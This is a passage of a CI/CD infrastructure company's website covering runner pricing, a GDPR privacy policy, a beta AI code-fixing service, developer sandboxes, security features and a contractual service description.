| 32 | $0.048 | | 16 | 64 | $0.096 | ### Windows Windows 2025 · x86-64 | vCPUs | Memory (GB) | Price/min | | --- | --- | --- | | 2 | 8 | $0.008 | | 4 | 16 | $0.016 | | 8 | 32 | $0.032 | | 16 | 64 | $0.064 | ## Sandboxes Isolated development environments on the same machines as your runners. Compute Same rates as runners Billed for Reserved time Platforms Linux x86 / ARM · macOS · Windows macOS has a 24-hour minimum reservation, then the same per-minute rate. [Explore Sandboxes](https://avrea.com/sandboxes) ## Git Mirroring Faster clones and fetches from repository copies close to your workloads. Your Git provider remains the source of truth. Repository storage $3.50 /GB/month Inbound · push, write $0.06 /GB Outbound · clone, fetch $0.15 /GB Storage and data transfer billed monthly. [How mirroring works](https://avrea.com/git-mirroring) ## Add-ons ### Static IP $100 /IP/month Fixed outbound IPs for firewall rules and IP-restricted services. Billed per allocated address. [Set up a static IP](https://docs.avrea.com/static-ip/) ### Persistent Disk $0.50 /GB/month Keep build outputs, dependencies and toolchains between jobs. Billed for provisioned storage, prorated. [Set up a persistent disk](https://docs.avrea.com/persistent-disks/) ### Extra cache storage ~$0.50 /GB/month 25 GB included per repository. Expand your cache as your builds grow. $0.0007/GB/hour, billed for hourly peak usage above the included storage. [Manage cache storage](https://docs.avrea.com/cache/storage/) ## Estimate your CI savings Compare your monthly compute costs on GitHub Actions and Avrea. How the estimate works Example for Linux x86 · 4 vCPU runners: 100,000 GitHub Actions minutes at $0.012/minute cost $1,200. At an assumed 2x speedup, the same work takes 50,000 Avrea minutes at $0.008/minute, costing $400. These are USD list prices before credits, included GitHub minutes and discounts. Your runtime depends on the workload and cache state. ## Avrea loves open source Maintain an active public repository? Apply for free credits for your project. [Apply for credits](https://avrea.com/contact) ## Startup program Eligible startups receive free credits to build and test on Avrea. To be eligible, your startup must meet all of the following: - Backed by a VC or accelerator in the Avrea startup program - Less than $5M in funding - Less than $5M in ARR - Less than 3 years old Check with your VC or accelerator that they participate. If they don’t, they can apply at [startups@avrea.com](mailto:startups@avrea.com). [Apply for startup credits](https://avrea.com/contact) ## Frequently asked questions What can I try for free? Pay as you go includes $12 in credit each month per organization. That covers 3,000 minutes on a 2-vCPU Linux x86 runner; other sizes use credit at their listed rates. The credit renews monthly. What do I pay for? You pay for compute, Git Mirroring storage and data transfer at the listed rates. Observability and 25 GB of cache storage per repository are included. Extra cache storage, static IPs and persistent disks have separate charges. Are there subscription or per-seat fees? Pay as you go has no monthly subscription or per-seat fees. Enterprise pricing is agreed separately. How is usage billed? Runners are billed by the second at the per-minute rates above. Sandboxes are billed for reserved time, with a 24-hour minimum for macOS. Git Mirroring storage and data transfer are metered and billed monthly. Extra cache storage is billed hourly for peak usage above 25 GB per repository. Static IPs are billed monthly per allocated address. Persistent disks are billed for provisioned storage, prorated for partial months. How do I access Avrea CI and Avrea AI? Both are available by request during beta and are included in Pay as you go. The listed usage charges still apply. [Request access](https://avrea.com/request-access) Do you offer custom pricing? Yes. Enterprise offers custom pricing, capacity and support. Contact us to discuss your usage and requirements. [Discuss Enterprise pricing](https://avrea.com/contact) How do I try Avrea with my existing workflows? Install the Avrea GitHub App, copy a GitHub Actions workflow and change its runner label to an Avrea runner. Run both workflows to compare the results. [Read the setup guide](https://docs.avrea.com/getting-started/) ## Start shipping with Avrea Get $12 in monthly credit to try Avrea. [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/privacy # Privacy Policy How Avrea handles personal data, cookies, and customer information. GDPR-compliant, with detail on processing, retention, and user rights. ## Privacy Policy for Avrea Website and Services Avrea Ltd (later, Avrea or we) respects your privacy and is committed to protecting your personal data. This Privacy Policyr for our website and services (“**Privacy Policy**”) will inform you as to how we process your personal data either on our website or within our services. If you subscribe to our services as a consumer customer, we are the controller for all processing of personal data described in this policy unless expressly stated otherwise. If, however, we provide our service to an organisation on whose behalf you act, that organisation is the controller and we do not act as the controller in respect of the provision of the service itself, but only in relation to the analysis, development and marketing of the service, to the extent that you have given your consent to such processing. The Privacy Policy does not address, and we are not responsible for, the privacy practices of any third parties. We disclaim all responsibility for the processing carried out by third parties, also in cases where our website or services include hyperlinks or other links to third-party content. Privacy and security are important for us, and we process all personal data with due care and in accordance with applicable laws and regulations. 1. WHO IS DATA CONTROLLER? 2. INFORMATION WE COLLECT AND HOW WE COLLECT IT 3. THE PURPOSES AND THE LAWFUL BASIS 4. SHARING OF INFORMATION COLLECTED 5. WHERE DO WE STORE YOUR PERSONAL DATA? 6. DATA RETENTION 7. HOW TO EXERCISE YOUR DATA PROTECTION RIGHTS 8. CHANGES TO THIS PRIVACY POLICY ‍**‍** **1. WHO IS DATA CONTROLLER? ** The data controller for the processing described in this policy is: - **Avrea Ltd** If you have questions regarding this privacy policy, please contact us by emailing [legal@avrea.com](mailto:legal@avrea.com). **2. INFORMATION WE COLLECT AND HOW WE COLLECT IT** In the following, we will tell you which types of personal data we may collect about you and how we collect it. In section 3, we have in a table explained the purposes for which we process your personal data and the lawful bases we rely on. We may collect, use, store and transfer different kinds of personal data about you which we have grouped together as follows: **A. Identity Data** includes your first name and last name, and user id. **B. Contact Data** includes your email or other online contact information, telephone number and address.**‍** **C. Consent data **includes data on consents you have given for cookies or electronic marketing. **D. Technical Data** includes your IP address, browser type and version, operating system and computer platform, preferred language and your other preferences.**‍** **E. Behavioural Data** includes data on areas of our website and services you have visited, data on necessary cookies. **F. Cookie data **includes data on non-necessary cookies. We need your consent for processing these cookies. Please see more specific descriptions of the cookies we use in our [cookie policy.](https://www.iubenda.com/privacy-policy/37960444/cookie-policy) The identity (A), contact (B), and consent (C) data are provided directly by you through the website and our services. The technical (D), behaviour (E), and cookie (F) data are collected directly from your use of our website and interaction within our services. **3. THE PURPOSES AND THE LAWFUL BASIS** We will only use your personal data when the law allows us to. Most commonly, we will use your personal data in the following circumstances: 1. Where you have given your consent cf. GDPR Article 6 (1) (a). 2. To take steps prior to enter into a contract at your request or to perform a contract with you cf. Article 6(1)(b) GDPR. 3. Where it is necessary for our legitimate interests (or those of a third party) and your interests and fundamental rights do not override those interests cf. GDPR Article 6 (1) (f). We have set out below, a description of all the ways we plan to use your personal data, and which of the legal bases we rely on to do so. We have also identified what our legitimate interests are where appropriate. | Purpose/Activity | Type of data | Lawful basis for processing including basis of legitimate interest | | --- | --- | --- | | To operate our website including keeping our site safe and secure and offering you information on our services as well as to offer you the possibility to: contact us and give feedback sign up and sign into our services | (A) Identity (B) Contact (D) Technical | We have a legitimate interest to maintain our website and use necessary cookies to provide you the experience you explicitly request. | | To provide you with our services We may process your personal data to carry out our obligations arising from any contracts entered into between you (or your organisation) and us and to provide you with the services that you request from us. | (A) Identity (B) Contact | When you are our customer, processing is necessary to enter into or for the performance of a contract with you. When your organisation is our customer, we have a legitimate interest to provide our customers with the services. | | For quality improvement and trend analysis We may process your personal data to improve our website and services to ensure that content is presented in the most effective manner for you and for your terminal device. | (D) Technical (E) Behaviour (F) Cookie | With your consent. | | For statistical and analytical purposes We may gather your personal data and anonymous and aggregate data to generate reports and statistics and to learn how users are using our website and services. | (D) Technical (E) Behaviour (F) Cookie | With your consent. | | Direct marketing We may process personal data for the purposes of direct marketing, such as sending of newsletters or similar marketing material. Users can unsubscribe from receiving such material at any time. | (A) Identity (B) Contact (C) Consent | Your consent for receiving direct marketing. | | Direct marketing for customers We may provide you with information about other goods and services we offer that are similar to those that you have already purchased. We may also provide our customer companies with other information about the goods and services we offer. | (A) Identity (B) Contact | We have a legitimate interest to offer our products to you. | **4. SHARING OF INFORMATION COLLECTED** We do not disclose personal data with third parties outside of our organisation unless one of the following circumstances applies: - when required by law we may disclose your personal data to public authorities such as tax authorities, and law enforcement authorities - we may assign your personal data, to any person or entity that acquires all or a substantial part of our business, stock or assets, or with whom we merge. - when it is necessary for the purposes listed in section 3 - when we have your explicit consent for sharing the data outside our organisation for other reasons than those mentioned above. - when we believe in good faith that disclosure is necessary to establish or exercise our legal rights or defend against legal claims, protect your safety or the safety of others, investigate fraud, or respond to a government request. We may share your personal data with our service providers for the specified purposes described in section 3. We may also share or provide access to information, including personal data, with our trusted third-party service providers that we use to provide services to us and that process personal data on our behalf and under our instruction. These third-party service providers may have access to or process your personal data for the purpose of providing these services for us. We do not permit our third-party service providers to use the personal data that we share with them for any other purpose than in connection with the services they provide to us. In respect of our website, these third-party service providers may include advertising service providers; customer relationship management and marketing automation service providers; analytics service providers; website hosting service providers; and customer support service providers. Within our other services, data may be accessed by third-party service providers such as analytics service providers and customer support service providers. We have entered into data processor agreements with our data processors. More information about the third-party service providers processing personal data on our behalf is available [here.](https://trust.avrea.com/subprocessors) **5. WHERE DO WE STORE YOUR PERSONAL DATA?** The data that we collect from you may be transferred to and stored at a destination outside the European Economic Area (“**EEA**”). In order to ensure that your personal data receive an adequate level of protection, we have ascertained that sufficient safety measures have been implemented to allow for the transfer, which give personal data essentially equivalent protection as it has in the EEA. All information you provide to us is stored on our secure servers. However, the transmission of information via the internet is not completely secure. Although we will do our best to protect your personal data, we cannot guarantee the security of your data transmitted to our website or services; any transmission is at your own risk. Once we have received your information, we will use strict procedures and security features to try to prevent unauthorised access. More information about our data processors established outside the EEA and the safety measures in place to allow for the transfer of personal data can be found here. **6. DATA RETENTION** We do not store personal data longer than is legally permitted and necessary for the purposes of providing the services or the relevant parts thereof. The storage period depends on the nature of the information and the purposes of processing. **Retention times per data group:** **Identity Data ** **2** **years** after last interaction **Contact Data** **2** **years** after last interaction **Consent Data** Until consent is withdrawn, but max. **3 years**. **Technical Data** **1** **year **after last interaction **Behaviour Data** **1** **year **after collection **Cookie Data** We use both session-specific cookies and persistent cookies. You can find the retention times of all cookies in our [cookie policy.](https://www.iubenda.com/privacy-policy/37960444/cookie-policy) - Session-specific cookies are stored in the memory for the duration of the session and are deleted when the user has closed the browser. - Permanent cookies are stored on the hard drive of the user’s computer and are kept for a certain period or until the user deletes the cookies. **7. HOW TO EXERCISE YOUR DATA PROTECTION RIGHTS** You have certain options available to you when it comes to your personal data. Below is a summary of those options and how to exercise them. Please note that some of these options are legal basis -specific, meaning that they can only be used when personal data processing is based on a specific legal basis. Under certain circumstances, you have the right to: - Request to know whether we process your personal data - Request to access your personal data. This enables you to receive a copy of the personal data we hold about you and to check that we are lawfully processing it. - Request correction of the personal data that we hold about you. This enables you to have any incomplete or inaccurate information we hold about you corrected. - Request erasure of your personal data. This enables you to ask us to delete or remove personal data where there is no good reason for us continuing to process it. - Object to processing of your personal data where we are relying on a legitimate interest (or those of a third party) and there is something about your situation which makes you want to object to processing on this ground. You also have the right to object where we are processing your personal data for direct marketing purposes. - Request the restriction of processing of your personal data. This enables you to ask us to suspend the processing of personal data about you, for example if you want us to establish its accuracy or the reason for processing it. - Request the transfer of your personal data to another party (also known as data portability). Please note that you do not have this right when processing is based on legitimate interest. - Where our processing is solely based on your specific consent you have the right to withdraw your consent at any time. Such withdrawal will not affect the lawfulness of processing based on consent before its withdrawal. If you wish to exercise any of the data protection rights that are available to you then please email us using the contact information provided under section 1 of this privacy policy and we will action your request in accordance with applicable data protection laws. You have the right to complain to your local data protection authority if you are unhappy with our data protection practices. In Finland you can lodge a complaint with the Office of the Data Protection Ombudsman at [Notification to the Data Protection Ombudsman](https://tietosuoja.fi/en/notification-to-the-data-protection-ombudsman). **8. CHANGES TO THIS PRIVACY POLICY** This Privacy Policy may be updated from time to time to reflect changing legal, regulatory, or operational requirements. We encourage you to periodically consult our Privacy Policy for the latest information on our privacy practices. --- Source: https://avrea.com/quality # Your codebase gets better with every run Avrea's AI fixes broken builds, improves test coverage, and upgrades dependencies. Every change is a PR your team reviews and approves. Avrea AI Beta Avrea AI finds and fixes problems in your code and CI, from failing tests and slow builds to outdated dependencies. Each change runs through your test suite before arriving as a pull request for review. [Request access](https://avrea.com/request-access/ai) Recent pull requests - Fixed: lodash 4.17.20 vulnerability Upgraded to 4.17.21, all tests passing Ready for review - Fixed: test_user_auth failing on main Mock was stale after schema migration PR#847 - Upgrade: pip → uv Build and tests pass with uv. PR#851 - Fixed: Docker cache misses Reordered the Dockerfile to reuse dependency layers. PR#853 ## Fix failures and speed up builds Avrea diagnoses failed runs and slow jobs, then makes and tests the fixes. tests/test_user_auth.py - mock_user = User(id=1, role="admin") + mock_user = User(id=1, role="admin", org_id="org-1") response = client.post("/login", json=mock_user.dict()) assert response.status_code == 200 + assert response.json()["org_id"] == "org-1" ### Failing test auto-fix Avrea reads the logs, diff, and test history from your failing runs. It classifies what broke (regression, flake, environment drift, dependency mismatch) and writes the fix. - Cut time to fix broken builds - Separate real regressions from flakes automatically - Debug from inside the live runner, with SSH access Applied 3 pipeline improvements - Routed uv sync through the colocated PyPI mirror to **reuse cached packages** - Reordered Dockerfile COPYs to **preserve dependency layers** - Adjusted runner size to **match job resource usage** ### Pipeline optimization Avrea watches how your pipelines run and how they're configured. It surfaces slow jobs, cache misses, oversized runners, Dockerfile inefficiencies, and leaked secrets, with a proposed change for each. - Faster builds through better caching and workflow configuration - Lower CI spend through right-sized compute - Catch risky workflow patterns before they ship ## A stack that stays current Avrea upgrades dependencies and developer tools, with each change tested in your build. ### Dependency upgrades Avrea scans your dependency tree and tests every upgrade on your actual build. Routine version bumps are batched. A risky upgrade comes with the reasoning behind it. Security advisories go before routine bumps. - Stay on current versions without manual triage - Catch breaking changes before they hit main - Fix vulnerable dependencies with tested upgrades fix: upgrade lodash to 4.17.21 passing - Security vulnerability patched. - No breaking changes detected. - Test suite passes. - package.json - package-lock.json ### Modern tooling Avrea detects outdated build systems, test runners, and developer tooling. Safe swaps are handled end-to-end. Ambiguous ones are flagged with context so your team can decide. - Faster local and CI builds with modern tools - Migration work handled for you when safe - Covers build systems, test runners, and dev tooling - pipuv - flake8ruff - prettierbiome - webpackvite ## See what's at risk in your code Know which code paths carry real risk, and keep your documentation in sync with what ships. - api/ 87% - services/ 72%+12% - utils/ 41%+17% coverage after Avrea-generated tests ### Risk-weighted coverage Avrea combines test coverage with git change frequency to surface the code paths most likely to break. Risk is weighted by usage, churn, and complexity. - Pinpoint files that change often and lack tests - Prioritize tests that prevent real regressions - Get test suggestions for the highest-risk paths README.md Setup: npm install && npm run dev + Run `bun install` then `bun dev` (migrated in PR #812) Lint: npx eslint . + Run `bun lint` (uses biome since PR #834) ### Documentation sync Avrea watches your READMEs, contributing guides, and architecture notes against the live code. When documentation falls out of sync, Avrea opens a pull request with the update. - Keep onboarding docs accurate as code changes - Prevent stale READMEs and architecture diagrams - Updates arrive alongside the code they describe ## Every suggestion runs before it reaches you Each change runs through your full test suite. Passing changes arrive as pull requests for review. - ### Runs on fast Avrea runners Same infrastructure as your CI. - ### Full test suite runs Your entire suite validates the fix. - ### Honors your agent configuration Reads your CLAUDE.md, .cursorrules, and project conventions. Works alongside Copilot, Cursor, and Claude Code. - ### Human reviews every PR AI never pushes to main. You always have the final say. 1. 1 Analyze test failure waitingrunningdone 2. 2 Generate fix waitingrunningdone 3. 3 Provision Avrea runner waitingrunningdone 4. 4 Run test suite waitingrunningdone 5. 5 Open PR if passing waitingrunningdone ## Get early access to Avrea AI [Request access](https://avrea.com/request-access/ai) --- Source: https://avrea.com/request-access # Request beta access Request beta access to Avrea CI or Avrea AI. Both are available by request and are included in Pay as you go. ## Avrea CI Parallel steps and shared setup for your workflows. Request access ## Avrea AI Code and CI improvements, tested before review. Request access --- Source: https://avrea.com/request-access/ai # Request Avrea AI access Avrea AI is in beta. Send your request and we’ll email you about availability and setup. Submitting this form does not create an account or enable beta access. Avrea AI is in beta. Send your request and we’ll email you about availability and setup. Submitting this form does not create an account or enable beta access. The form is loading. If it does not appear, email us below. You can also email [hello@avrea.com](mailto:hello@avrea.com?subject=Request%20Avrea%20AI%20access). --- Source: https://avrea.com/request-access/ci # Request Avrea CI access Avrea CI is in beta. Send your request and we’ll email you about availability and setup. Submitting this form does not create an account or enable beta access. Avrea CI is in beta. Send your request and we’ll email you about availability and setup. Submitting this form does not create an account or enable beta access. The form is loading. If it does not appear, email us below. You can also email [hello@avrea.com](mailto:hello@avrea.com?subject=Request%20Avrea%20CI%20access). --- Source: https://avrea.com/sandboxes # High-end sandboxes High-end sandboxes for developers and agents. Isolated VMs on the same hardware as Avrea runners, with repository access and shared CI caches. Sandboxes Isolated VMs for developers and agents, on the same hardware as your runners. Start from a repository branch and connect from your editor, terminal or a remote desktop. [Start free](https://console.avrea.com/) [Read the docs](https://docs.avrea.com/sandboxes/) Create and connect $avr vm create --name api --os linux --size 4-vcpu \ --repo acme/api --ref main \ --ttl 8h --wait $avr vm ssh ## Start from your repository Runtimes are prebuilt into the image. Choose a connected repository and branch when you create a sandbox. Your build tools can reuse the repository’s package and build caches as you install dependencies and run builds. pull request branch tools dependencies postgres agents ### Reuse your CI caches Reuse the dependencies and build outputs already cached by CI. Skip repeated downloads and compilation. Works with Docker, Go, Bazel, Gradle, Maven, Turborepo, sccache, ccache, Nix and Xcode. ## The same image your CI runs Use the same image and warm caches as your Avrea runners. Reproduce CI failures without rebuilding the environment on your laptop. Sandbox CI runner Shared image & caches ## Pause, resume and fork Pause a sandbox to keep its disk, and resume it when you come back. Fork a paused sandbox into an independent copy for a risky change or a parallel task. Pause and fork are available on Linux x86 sandboxes. Paused sandbox Resume Fork ## Isolated environments for agent tasks Give each task its own VM, with its own size, time limit and egress firewall rules. Agents can install packages, change code and run tests inside it. One sandbox per task $avr vm create --name task-142 --os linux --size 4-vcpu \ --repo acme/api --ref fix/login --ttl 2h --wait $avr vm ssh task-142 -- make -C api test # Delete it when the task is done $avr vm delete task-142 --yes --wait ### Isolation Each environment has its own VM and kernel. ### Ready to run tests Start from a branch and run your project’s setup and test commands with access to shared CI caches. ## Desktop, editor or terminal Turn on remote desktop on a supported image to use a sandbox as a full dev box, or connect over SSH. Use the same environment for coding, tests and visual debugging. SSH and port forwarding $avr vm ssh $avr vm port-forward --port 3000 # Local endpoint: http://127.0.0.1:3000 ### Remote desktop Run applications, debug visual issues or watch an agent use a browser. `avr vm rdp` and `avr vm vnc` tunnel the session through SSH. [See supported images](https://docs.avrea.com/sandboxes/). ### Editor and SSH Connect through your editor’s remote extension or SSH. Forward application ports to your own machine. [Public HTTPS URLs](https://docs.avrea.com/sandbox-https/) for previews are available when enabled for your organization. ### Bring your own agent Run Claude Code or Codex with access to a terminal and desktop. Works with - VS Code - JetBrains - Claude Code - Codex ## Pick the size per task Choose the CPU and memory your work needs, and start a larger sandbox for a demanding build. ### Manage compute spend Delete a sandbox when the work is done, or let its time limit end it. Usage reports cover every sandbox in your organization. ## Create sandboxes through the API Start a sandbox when a pull request opens or an agent begins a task. Use the API to create and delete sandboxes, and the CLI to connect, run commands over SSH and inspect usage. POST /orgs//vms { "repo": "acme/api", "ref": "main", "os_type": "linux", "size": "4-vcpu", "ttl_seconds": 7200 } 202 · provisioning ## Set limits on every sandbox Each sandbox has its own size, time limit and egress firewall rules. An organization admin can turn published HTTPS URLs off for every sandbox at once. ### Isolated on Avrea infrastructure Each sandbox runs in its own VM on Avrea infrastructure. SSH, and remote desktop when you enable it, listen on a public address and require authentication. HTTPS URLs you publish are the only other way in. ## Start working in a sandbox [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/security # Protect your code and builds Repository SBOMs, host-enforced egress rules, SAML SSO, audit log export and static IPs. Every CI job runs in its own ephemeral VM. Security Track dependencies, control network access and manage permissions, with isolated VMs for every CI job. [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) [Trust & Security →](https://avrea.com/trust-security) ## Track the dependencies in every repository Track production dependencies, versions and licenses with automatically updated SBOMs. Spot copyleft and unknown licenses. Export CycloneDX, SPDX or JSON, and review previous scans by commit. [Read the SBOM docs](https://docs.avrea.com/sbom/) RepositorySBOM **Dependencies & licenses** PackageVersionLicense Linked to its source commit CycloneDXSPDXJSON ## Outbound rules a job can’t switch off Control where builds connect with organization and repository rules enforced outside the VM. See allowed and blocked connections for each job. Required service connections stay allowed, including GitHub Actions, Avrea caches and Azure Blob Storage. [Explore the egress firewall](https://docs.avrea.com/egress-firewall/) ### Egress firewall - `registry.npmjs.org`Allow - `registry.example.com`Allow - Other destinationsDeny ### Give your CI a known IP address Connect to IP-restricted databases and APIs using static outbound IPs reserved for your organization. [Set up static IPs](https://docs.avrea.com/static-ip/) ## Company sign-in Use SAML SSO with your identity provider’s MFA and access policies. [SSO docs](https://docs.avrea.com/saml-sso/) ## Audit logs in your own storage Track access and configuration changes. Export continuously to S3-compatible storage or Google Cloud Storage, with retention you control. [Audit log docs](https://docs.avrea.com/audit-log-export/) ## Built into every CI job ### A new VM for every job Every job gets its own VM, destroyed when the job ends. ### Repository-scoped caches Caches are isolated by repository and encrypted in transit and at rest. ### Immutable cache entries GitHub Actions cache entries cannot be overwritten. Integrity checks verify npm and Cargo packages. ### Repository access follows GitHub Everyone, including admins, can only access repositories they can read on GitHub. ### Short-lived GitHub tokens GitHub App tokens expire automatically. Targeted operations use only the repository permissions they need. [GitHub App permissions](https://docs.avrea.com/github-permissions/) ## Access and integrations ### SSH access Manage SSH access to running jobs, with repository permissions and an audit trail. [SSH controls](https://docs.avrea.com/debugging/) ### Organization roles Separate administration, billing and everyday access with organization roles. [Roles and permissions](https://docs.avrea.com/organizations/) ### Session limits Automatic session expiry and sign-out across all devices. [Account security](https://docs.avrea.com/security/) ### Private networks Connect runners to your private services through WireGuard, OpenVPN or Tailscale. [Network rules and limits](https://docs.avrea.com/egress-firewall/) ### Logs in your own stack Send job logs to your OpenTelemetry collector. [Observability docs](https://docs.avrea.com/observability/) ISO 27001:2022 certified SOC 2 Type II attested [Trust & Security](https://avrea.com/trust-security) ## Protect your builds with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/service-description # Service Description What's included in Avrea's CI/CD service. Runners, caching, observability, Avrea AI, and the standard workflow integrations supported. ## Avrea Service Description This Service Description forms part of the Agreement between Avrea Ltd (“Avrea”) and the Customer and describes the scope, functionalities, and limitations of the Service. Capitalised terms not defined herein have the meanings given to them in the Terms of Service. In the event of any conflict between this Service Description and an Order Form, the Order Form shall prevail. ### 1. Service Overview #### 1.1 Purpose The Avrea Service (“Service”) is a Software as a Service (SaaS) platform that provisions ephemeral, on-demand compute environments for executing CI/CD workflows. The Service enables Customers to run continuous integration and continuous delivery (CI/CD) workloads on dedicated, isolated virtual machines rather than shared infrastructure. The supported CI/CD platforms are listed in the Service’s documentation. #### 1.2 Core Functionality The Service provides the following capabilities: **a) On-Demand Runner Provisioning** When a Customer’s CI/CD workflow requests a runner matching Avrea-managed labels, the Service intercepts the event and provisions a dedicated virtual machine to execute the job. Each virtual machine is single-use and is destroyed after job completion. **b) Workload Isolation** Each CI/CD job executes in an isolated virtual machine using hardware-level virtualization. Virtual machines operate on isolated networking with no direct access to Avrea’s internal infrastructure or to other Customers’ workloads. **c) CI/CD Platform Integration** Customers connect the Service to their CI/CD platform by installing or configuring the applicable Avrea integration (e.g., a platform app or webhook). The integration receives workflow events and manages runner registration and lifecycle automatically, within the permissions granted by the Customer. **d) Management Console** A web-based console provides Customers with visibility into runner provisioning, job execution status, and organizational settings. **e) Build Cache Management** The Service provides caching capabilities for build artifacts, subject to per-repository storage quotas. Cache data is automatically evicted when quotas are exceeded. #### 1.3 How the Service Operates The Service operates as an intermediary between the Customer’s CI/CD platform and compute infrastructure: 1. A CI/CD workflow is triggered on the Customer’s platform (by code push, pull request, schedule, or other event). 2. The platform sends a webhook event to the Avrea control plane. 3. The Service identifies an available compute node and provisions an ephemeral virtual machine. 4. The virtual machine registers as a runner, executes the workflow job, and reports results back to the CI/CD platform. 5. Upon job completion, the virtual machine is destroyed. The Service does not control or modify the content of Customer’s CI/CD workflows. The processing logic, build steps, and workflow outcomes are determined entirely by the Customer’s workflow definitions. ### 2. Infrastructure #### 2.1 Hosting Environment The Service control plane and Customer workload infrastructure are hosted in data centres located within the European Economic Area (EEA). Customer workloads may execute on cloud instances, bare-metal servers, or a combination thereof, depending on the Customer’s subscription plan. The current hosting regions and infrastructure providers are listed in the Service’s documentation. #### 2.2 Data Storage The Service uses managed relational database and cache services, accessible only via private network peering from the control plane environment. Customer data at rest is encrypted using AES-256 (or equivalent) encryption. Data in transit is encrypted using TLS 1.2 or higher. #### 2.3 Subservice Organizations Avrea relies on third-party infrastructure providers for hosting, compute, database, and related services. These providers are responsible for physical security, environmental controls, and underlying infrastructure availability at their respective facilities. The current list of subservice organizations and their roles is maintained in the Service’s documentation and, where applicable, in audit reports. Avrea reviews each provider’s security attestation reports on at least an annual basis. ### 3. Technical Requirements #### 3.1 Customer Prerequisites To use the Service, the Customer must: - Maintain an active account on a supported CI/CD platform; - Install and authorize the applicable Avrea integration with the permissions required for runner provisioning; - Configure CI/CD workflow files to reference Avrea-managed runner labels; and - Maintain internet connectivity sufficient to interact with the management console and the CI/CD platform. #### 3.2 Supported Platforms The Service supports workloads targeting the following platforms, subject to availability in the Customer’s subscription plan: This Service Description forms part of the Agreement between Avrea Ltd (“Avrea”) and the Customer and describes the scope, functionalities, and limitations of the Service. Capitalised terms not defined herein have the meanings given to them in the Terms of Service. In the event of any conflict between this Service Description and an Order Form, the Order Form shall prevail. | Platform | Virtualization | Availability | | --- | --- | --- | | Linux (x86_64) | Firecracker microVM | Generally available | | Linux (arm64) | Apple Virtualization.framework | Subject to plan | | macOS | Apple Virtualization.framework | Subject to plan | #### 3.3 Integrations The Service integrates with CI/CD platforms for workflow event processing, runner registration, and related automation. The supported CI/CD platforms at any given time are listed in the Service’s documentation. The Service supports authentication via third-party identity providers using standard OAuth 2.0 and OpenID Connect protocols. The identity providers available at any given time are listed in the Service’s documentation and login interface. Avrea may add or remove support for CI/CD platforms, integrations, and identity providers. The addition of new integrations does not constitute a material change to the Service. Removal of a CI/CD platform that is in active use by the Customer is subject to the deprecation terms in Section 8.4. ### 4. Service Boundaries and Limitations #### 4.1 What the Service Does Not Include The following are explicitly outside the scope of the Service: **a) Workflow Logic and Build Outcomes** The Service provisions and manages the compute environment in which Customer workloads execute. Avrea does not develop, maintain, debug, or guarantee the outcome of Customer’s CI/CD workflows, build scripts, or test suites. The Customer is solely responsible for the content and correctness of its workflows. **b) Secret and Credential Management for Workflows** Secrets and credentials used within Customer workflows (e.g., API keys, deployment tokens) are managed by the Customer through the CI/CD platform’s secrets management or other mechanisms chosen by the Customer. Avrea does not store, manage, or have access to Customer workflow secrets. **c) Source Code Storage** The Service does not serve as a source code repository. Source code is hosted by the Customer on its chosen version control system. The Service accesses source code only transiently during workflow execution, as directed by the Customer’s workflow configuration. **d) Container Registry** The Service does not provide a public or private container registry. Container images used in Customer workflows must be hosted by the Customer or obtained from third-party registries. **e) Persistent Storage Between Jobs** Each runner virtual machine is ephemeral. No state, data, or filesystem content persists between separate job executions. The Service’s build cache provides limited caching of build artifacts only, subject to storage quotas. **f) Unsupported CI/CD Platforms** The Service operates only with CI/CD platforms listed as supported in the Service’s documentation. Avrea does not guarantee compatibility with platforms not listed as supported. **g) GPU Workloads** The Service does not currently support GPU-accelerated compute instances. **h) Customer-Dedicated Networking** The Service operates on a shared network topology. Per-customer VPC or subnet provisioning is not available. **i) Automated Cost Allocation** The Service does not provide per-repository or per-workflow cost attribution or chargeback reporting beyond what is available in the management console. #### 4.2 Third-Party Dependencies The Service depends on the availability of the Customer’s CI/CD platform, including its webhook delivery, API, and runner registration systems. Interruptions or degradation of the CI/CD platform may affect the Service’s ability to provision runners or report job status, regardless of the availability of Avrea’s own infrastructure. Similarly, outages or performance degradation of the underlying infrastructure providers may impact Service availability. The SLA sets out the applicable exclusions. #### 4.3 Customer Responsibilities The Customer is responsible for: - Managing permissions granted to the Avrea integration on the CI/CD platform, ensuring least-privilege access; - Configuring appropriate runner labels in workflow files to ensure workloads are dispatched to the intended environment; - Securing secrets and credentials used within CI/CD workflows; - Monitoring workflow execution results via the CI/CD platform’s own reporting mechanisms; - Maintaining compliance with the CI/CD platform’s terms of service and acceptable use policies for all workloads executed through the Service; - Notifying Avrea promptly of any actual or suspected security incidents related to the Service; and - Developing its own business continuity plans to address any inability to access or use the Service. ### 5. Service Availability and Support #### 5.1 Availability Service availability targets, downtime definitions, service credit mechanisms, and exclusions are set out in the Service Level Agreement (SLA), which forms part of the Agreement. #### 5.2 Scheduled Maintenance Avrea may perform scheduled maintenance that temporarily affects Service availability. Scheduled maintenance will be communicated at least twenty-four (24) hours in advance via the Service’s status page or email. Scheduled maintenance windows are excluded from availability calculations under the SLA. #### 5.3 Support Avrea provides technical support for the Service according to the response time targets set out in the SLA. Support covers issues with the Service itself, including runner provisioning failures, console access problems, and Service-related errors. Support does not cover: - Debugging or troubleshooting Customer workflow logic, build scripts, or test failures; - Configuration of Customer’s CI/CD platform repositories, organizations, or workflows beyond the Avrea integration; - Third-party tools, services, or dependencies used within Customer workflows; or - Performance optimization of Customer workloads. #### 5.4 Status Page Avrea maintains a publicly accessible status page providing information on Service availability and known incidents. ### 6. Security #### 6.1 Security Measures Avrea implements the following security measures for the Service: - **Encryption**: Data at rest encrypted using AES-256 (or equivalent); data in transit encrypted using TLS 1.2+. - **Access control**: Role-based access control with multi-factor authentication required for privileged access to production systems. - **Web application firewall**: DDoS protection and IP-based access restrictions for internal API endpoints. - **Workload isolation**: Each runner VM is isolated at the hardware virtualization level with no shared state between Customer workloads. - **Ephemeral compute**: Runner VMs are single-use and automatically destroyed after job completion, eliminating persistent state between jobs. - **Vulnerability management**: Regular vulnerability scanning and periodic penetration testing of the production environment. - **Secrets management**: Service credentials and keys are stored in a dedicated secrets management service with access restricted to authorized services. #### 6.2 Compliance Avrea maintains an Information Security Management System (ISMS) certified to ISO 27001:2022 and holds a SOC 2 Type II 